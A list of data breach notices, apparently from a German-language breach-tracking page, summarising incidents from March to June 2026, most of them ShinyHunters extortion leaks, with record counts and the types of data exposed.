| 05.06.2026 - Madison Square Garden Sports | 9.796.738 Datensätze geleaked | |
| Customer service records, Email addresses, Names, Phone numbers, Physical addresses In June 2026, the sports and entertainment company Madison Square Garden Sports was the target of a ShinyHunters "pay or leak" extortion campaign. The group later published the alleged data, which included almost 10M unique email addresses spanning staff and customers, along with extensive personal, employment and customer relationship information. |
||
| 30.05.2026 - Atlas Menu | 63.926 Datensätze geleaked | |
| Email addresses, IP addresses, Passwords, Support tickets, Usernames In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes. |
||
| 29.05.2026 - BCD Travel | 396.313 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the corporate travel management company BCD Travel was claimed as a victim of the ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from BCD was subsequently published publicly in early June and contained 396k unique email addresses. Other exposed data included names, addresses, phone numbers, job titles and employer names, spanning a variety of different data sets including leads, internal staff and support tickets. |
||
| 23.05.2026 - Baker Distributing | 102.935 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the HVAC/R wholesale distributor Baker Distributing Company was added to the ShinyHunters data extortion group's "pay or leak" site. In early June, the group publicly published data they claimed had been obtained from Baker's SharePoint and Salesforce infrastructure including 103k unique email addresses along with names, physical addresses, phone numbers and tickets relating to the company's HVAC contractor customer base. The exposed data was largely corporate contact and support information with limited sensitivity. |
||
| 23.05.2026 - Charter | 4.851.517 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated. |
||
| 23.05.2026 - DentaQuest | 2.553.599 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters "pay or leak" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files (ASC X12 transaction sets) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged "a cybersecurity incident involving unauthorized access to a limited portion of our network", and advised they had contained the attack and mitigated the threat. |
||
| 05.05.2026 - Cushman & Wakefield | 310.431 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group. Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers. |
||
| 30.04.2026 - Reborn Gaming | 126 Datensätze geleaked | |
| Email addresses, IP addresses In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM). The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned. |
||
| 28.04.2026 - Vimeo | 119.167 Datensätze geleaked | |
| Email addresses, Names In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign. They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information". |
||
| 26.04.2026 - CTT | 468.124 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum. The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel. |
||
| 24.04.2026 - Udemy | 1.401.259 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer. |
||
| 20.04.2026 - ADT | 5.488.888 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses In April 2026, home security firm ADT confirmed a data breach by ShinyHunters, which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people. |
||
| 20.04.2026 - Aman | 215.563 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign, with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes. |
||
| 20.04.2026 - Canada Life | 237.810 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets In April 2026, Canada Life was the victim of a "pay or leak" extortion campaign by the ShinyHunters group. The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice, Canada Life advised that "it is a small proportion of our customers who may have been impacted". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks, a pattern often seen after the public release of breached data. |
||
| 20.04.2026 - Pitney Bowes | 8.243.989 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles. |
||
| 18.04.2026 - Carnival | 7.531.359 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity. |
||
| 15.04.2026 - Kemper | 269.299 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases In April 2026, the American insurance holding company Kemper Corporation was named by the ShinyHunters ransomware group in a "pay or leak" extortion campaign. The attackers allegedly accessed Kemper's Salesforce environment via social engineering as part of a broader campaign targeting hundreds of organisations using the same method. The group later published tens of gigabytes of data they claimed included internal directory data, Salesforce records and Stripe payment logs. Among the 269k unique email addresses were names, phone numbers, physical addresses and partial payment card data including the last 4 digits, expiry dates and card brands. Kemper confirmed the incident and stated they had engaged third-party cybersecurity experts and notified law enforcement. |
||
| 15.04.2026 - Zara | 197.376 Datensätze geleaked | |
| Email addresses, Geographic locations, Purchases, Support tickets In April 2026, the fashion brand Zara was among a number of organisations targeted by the ShinyHunters extortion group as part of their "pay or leak" campaign. The group claimed the breach was related to a compromise of the Anodot analytics platform and subsequently published a terabyte of data allegedly including 95M support ticket records. The data contained 197k unique email addresses alongside product SKUs, order IDs and the market the support ticket originated in. Zara's parent company Inditex advised that the incident didn't affect passwords or payment information. |
||
| 14.04.2026 - Abrigo | 711.099 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the fintech software company Abrigo was targeted in a "pay or leak" extortion attempt by the ShinyHunters group. Shortly after, data allegedly taken from the company's Salesforce instance was published publicly and contained over 700k unique email addresses belonging to both Abrigo staff and external contacts. Whilst separate from Abrigo's Salesforce compromise via the Drift application connector the previous year, the data fields described in that incident are consistent with the ShinyHunters data, namely that it was "business contact information" including "institution name, employee name, email addresses, and phone numbers". |
||
| 12.04.2026 - Marcus & Millichap | 1.837.078 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the commercial real estate brokerage firm Marcus & Millichap was named as one of multiple alleged victims of the ShinyHunters hacking and extortion group. Data alleged to have been obtained from the company was subsequently released publicly and included 1.8M unique email addresses, along with names, phone numbers and employment-related information including employer, job title and physical company address. In their disclosure notice, Marcus & Millichap advised that data which may have been accessed appeared limited to "company forms, templates, marketing materials, and general contact information". |
||
| 12.04.2026 - Mytheresa | 84.108 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases, Salutations In April 2026, the luxury fashion e-commerce platform Mytheresa was listed as a victim of the ShinyHunters "pay or leak" extortion group. After the ransom deadline passed, the group publicly released the data which contained 84k unique email addresses. The exposed data also included names, phone numbers, physical addresses, purchases and partial credit card data including card type, last 4 digits and expiry date. |
||
| 10.04.2026 - McGraw Hill | 13.500.136 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses In April 2026, education company McGraw Hill confirmed a data breach following an extortion attempt. Attributed to a Salesforce misconfiguration, the company stated the incident exposed "a limited set of data from a webpage hosted by Salesforce on its platform". More than 100GB of data was later publicly distributed, containing 13.5M unique email addresses across multiple files, with additional fields such as name, physical address and phone number appearing inconsistently across some records. |
||
| 08.04.2026 - 7-Eleven | 185.256 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Phone numbers, Physical addresses In April 2026, 7-Eleven was the victim of a "pay or leak" extortion campaign by ShinyHunters, with the data later published that month. The incident exposed 185k unique email addresses, along with names, physical addresses, dates of birth and phone numbers. A small number of records also contained additional exposed data fields. The company later advised the breach was limited to "certain 7-Eleven systems used to store franchisee documents", a statement consistent with the exposed data. |
||
| 07.04.2026 - My Lovely AI | 106.271 Datensätze geleaked | |
| Email addresses, Social media profiles In April 2026, the NSFW AI girlfriend platform My Lovely AI suffered a data breach that exposed over 100k users. The data included user-created prompts and links to the resulting AI-generated images, along with a small number of Discord and X usernames. |
||
| 06.04.2026 - LegionProxy | 10.144 Datensätze geleaked | |
| Email addresses, Names, Passwords, Purchases In April 2026, the commercial residential and ISP proxy network LegionProxy suffered a data breach. The incident exposed 10k email addresses, bcrypt password hashes, names and purchases. |
||
| 03.04.2026 - Amtrak | 2.147.679 Datensätze geleaked | |
| Email addresses, Names, Physical addresses, Support tickets In April 2026, the hacking group ShinyHunters claimed they had breached Amtrak. The group typically compromises organisations' Salesforce instances before demanding a ransom and later, if not paid, dumping the data publicly. They subsequently published the alleged data which contained over 2M unique email addresses along with names, physical addresses and customer support records. |
||
| 02.04.2026 - SongTrivia2 | 291.739 Datensätze geleaked | |
| Auth tokens, Avatars, Email addresses, Names, Passwords, Usernames In April 2026, the music trivia platform SongTrivia2 suffered a data breach that was subsequently published to a public hacking forum. The data contained a total of 291k unique email addresses sourced from either Google OAuth logins or accounts created on the site, the latter also containing bcrypt password hashes. The data also included names, usernames and avatars. |
||
| 31.03.2026 - Hallmark | 1.736.520 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In March 2026, Hallmark suffered an alleged breach and subsequent extortion after attackers gained access to data stored within Salesforce. The data was later published after the extortion deadline passed, exposing 1.7M unique email addresses across both Hallmark and the Hallmark+ streaming service, along with names, phone numbers, physical addresses and support tickets. |
||
| 27.03.2026 - ZenBusiness | 5.118.184 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In March 2026, the hacker and extortion group "ShinyHunters" claimed to have obtained a substantial corpus of data from ZenBusiness, a business formation and compliance platform. The group claimed the data had been exfiltrated from platforms including Snowflake, Mixpanel and Salesforce, and threatened to publish it if a ransom was not paid. The following month, after claiming payment had not been made, ShinyHunters publicly released the data. The collection amounted to many terabytes across thousands of files that appeared to originate from multiple systems and business functions, including leads, support records and other CRM-related data. The data contained approximately 5M unique email addresses, often accompanied by name and phone number depending on the source file. |
||
| 26.03.2026 - BreachForums Version 5 | 339.778 Datensätze geleaked | |
| Email addresses, Passwords, Usernames In March 2026, a breach of one of the many iterations of the BreachForums hacking forum known as "Version 5" was publicly disclosed. The incident exposed 340k unique email addresses along with usernames and argon2 password hashes. |
||
| 25.03.2026 - Addi | 34.532.941 Datensätze geleaked | |
| Age groups, Credit scores, Device information, Email addresses, Government issued IDs, Income levels, IP addresses, Latitude and longitude pairs, Names, Phone numbers, Physical addresses, Purchases, Socioeconomic levels In March 2026, the Colombian fintech company Addi identified unauthorised activity on its platform and advised customers that "it is possible that your personal information may have been compromised". The "pay or leak" extortion group ShinyHunters subsequently claimed responsibility and published a large trove of personal data allegedly obtained from Addi. The data included 34M unique email addresses from credit scoring requests, credit bureau records, customer identity records and email validation logs. It also contained government issued IDs (Cédula de Ciudadanía), estimated income, socioeconomic levels, purchases and other credit-related data points. |
||
| 25.03.2026 - Sound Radix | 292.993 Datensätze geleaked | |
| Email addresses, Names, Passwords In March 2026, the audio production tools company Sound Radix disclosed a data breach that they subsequently self-submitted to HIBP. The incident impacted 293k unique email addresses and names. Sound Radix advised that it is possible that additional data including hashed passwords may have been exposed, and that no financial or credit card information was impacted. |
||
| 19.03.2026 - Berkadia | 305.216 Datensätze geleaked | |
| Email addresses, Employers, Names, Phone numbers, Physical addresses In March 2026, the commercial real estate finance company Berkadia was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they alleged was taken from Berkadia's Salesforce instance, including over 300k unique email addresses as well as names, physical addresses and phone numbers, among other data. |
||
| 18.03.2026 - Infinite Campus | 137.123 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets, Usernames In March 2026, the student information system Infinite Campus was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they alleged was taken from Infinite Campus, containing 137k unique email addresses along with names, phone numbers, physical addresses and support tickets. Infinite Campus subsequently sent notifications, advising that the exposed data largely consisted of "names and contact information for school staff" and that "the majority is directory information commonly found on school websites". |
||